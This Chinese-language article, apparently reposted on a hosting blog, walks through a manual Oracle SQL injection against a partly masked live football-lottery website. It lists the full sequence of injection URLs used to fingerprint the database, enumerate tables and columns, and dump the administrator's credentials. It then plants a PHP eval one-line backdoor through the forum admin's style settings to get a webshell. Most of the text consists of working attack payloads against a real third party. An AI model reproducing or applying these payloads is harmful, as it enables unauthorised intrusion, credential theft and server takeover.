参考案例:手工Oracle注入某足彩在线网站

某足彩在线网站是一个大型的足彩站点,在其中存在着注入点,链接如下:http://www.****china.com/jst/md_end.jsp?id=76,以该注入点为例,讲解如何进行Oracle手工注入攻击检测。

判断注入点

在链接地址后加上单引号,返回信息”java.sql.SQLException: ORA-01756″,可初步判断为Oracle的数据库。

在链接后添加提交”/*”,返回错误页面,说明数据库不是MySQL的。继续在注入点链接后添加”–“,显示正常页面,说明数据库可能为MSSQL和Oracle。再提交:

http://www.****china.com/jst/md_end.jsp?id=76 and (select count (*) from user_tables)>0–

http://www.****china.com/jst/md_end.jsp?id=76 and (select count (*) from dual)>0–

都返回正常页面(图1),确认为Oracle的数据库。

图1  确认Oracle注入#p#

字段数目与字段类型检测

先检测注入点处查询字段数目,提交:

http://www.****china.com/jst/md_end.jsp?id=76 order by 10  //返回错误页面

http://www.****china.com/jst/md_end.jsp?id=76 order by 5  //返回正常页面

http://www.****china.com/jst/md_end.jsp?id=76 order by 8  //返回错误页面

http://www.****china.com/jst/md_end.jsp?id=76 order by 7  //返回正常页面

说明当前表存在7个字段。下面再来检测字段类型,提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 1,2,3,4,5,6,7 from dual

返回错误信息,提示(图2):

expression must have same datatype

图2  数据类型错误#p#

很显然,提交的字段类型不正确,所以查询出错。于是改为提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,null,null,null,null from dual

返回正常页面,说明字段数目确实为7个,但是需要确定字段类型。依次提交如下:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select ‘null’,null,null,null,null,null,null from dual  //返回正常页面

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,’null’,null,null,null,null,null from dual  //返回错误页面

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,’null’,null,null,null,null from dual  //返回正常页面

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,’null’,null,null,null from dual  //返回正常页面

……

上面的查询中,用’null’字符串检测该字段处是否为字符型,如果返回正常页面则说明为字符型数据,返回错误页面,则说明该处为数字型。

提交检测完毕后,确认1,3,4,6,7位置处为字符型。提交如下:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select ‘1’,2,’3′,’4′,5,’6′,’7′ from dual

返回正常页面(图3),说明字段类型正确。

图3  确认数据类型

检测注入点信息

对注入点进行简单的信息检测,可选择字符型字段处显示要查询的信息,提交如下:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select (select banner from sys.v_$version where rownum=1),2,(select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual), (select member from v$logfile where rownum=1),5,’6′, (select instance_name from v$instance) from dual

从返回页面中得到各种信息(图4):

数据库版本为Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 – 64bi;

前数据库连接用户名为TOTO;

操作系统平台为Linux;

服务器sid为racdb2。

图4  返回注入点各种信息#p#

查询获取表名

先来查询一下当前数据库中的表名,提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select ‘1’,2,’3′,(select table_name from user_tables where rownum=1),5,’6′,’7′ from dual

图5

这里选择了字段4处返回信息,得到第1个表名为ACCOUNTS(图5)。

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select ‘1’,2,’3′,(select table_name from user_tables where rownum=1 and table_name<>’ACCOUNTS’),5,’6′,’7′ from dual

注意,表名一定要大写。提交后返回第2个表名为A_USER。再提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select ‘1’,2,’3′,(select table_name from user_tables where rownum=1 and table_name<>’ACCOUNTS’ and table_name<>’A_USER’),5,’6′,’7′ from dual

得到第3个表名BOBO_URL_INFO。用同样的方法,可得到其它所有表名,发现其中有一个极为重要的表名USERMG。#p#

查询获取字段名及内容

选择对USERMG表进行查询,提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select ‘1’,2,’3′,(select column_name from user_tab_columns where table_name=’USERMG’ and rownum=1),5,’6′,’7′ from dual

返回USERMG表中第一个字段名USER_NAME,再提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select ‘1’,2,’3′,(select column_name from user_tab_columns where table_name=’USERMG’ and column_name<>’USER_NAME’ and rownum=1),5,’6′,’7′ from dual

图6  返回表中字段名

返回第2个字段名USER_PASS(图6)。这两个字段名很明显是用来存储用户名和密码的,直接查询其内容:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select USERNAME,2,’3′,USER_PASS,5,’6′,’7′ from USERMG

返回页面中,得到了用户名和密码为:admin/toto11admin(图7)。

图7  获得管理员帐号数据#p#

登陆后台上传WebShell

没有直接查找到网站的后台,但是利用管理员帐号,可以从前台进行登录。登录进入后,发现可进入体彩论坛,在论坛中在论坛后台管理页面,直接用此帐号进行登陆,进入论坛管理后台。

在”论坛管理”→”界面风格”→”默认风格”→”详情”中,点击”新增变量”,将变量内容设置为:

‘, ‘#999’);eval($_POST[c]);

图8  添加变量写入一句话木马

替换内容可随便填(图8)。点击”提交”按钮后,一句话木马就被写入模板风格文件中了。用一句话木马连接论坛风格页面文件:

http://bbs.****china.com/forumdata/cache/style_1.php

图9  连接一句话木马

密码为c,粘贴入要上传的WebShell代码内容,即可连接一句话木马获得WebShell(图9)。WebShell的权限比较大,可轻易的控制远程网站服务器。

【编辑推荐】

  1. Oracle注入点信息基本检测
  2. Oracle listener程序所存在安全漏洞有哪些?
  3. OpenWorld案例分享:Oracle透明数据加密技术
  4. Oracle数据库内部安全威胁:审计特权用户

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/137300.html<

(0)
运维的头像运维
上一篇2025-03-02 12:01
下一篇 2025-03-02 12:02

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注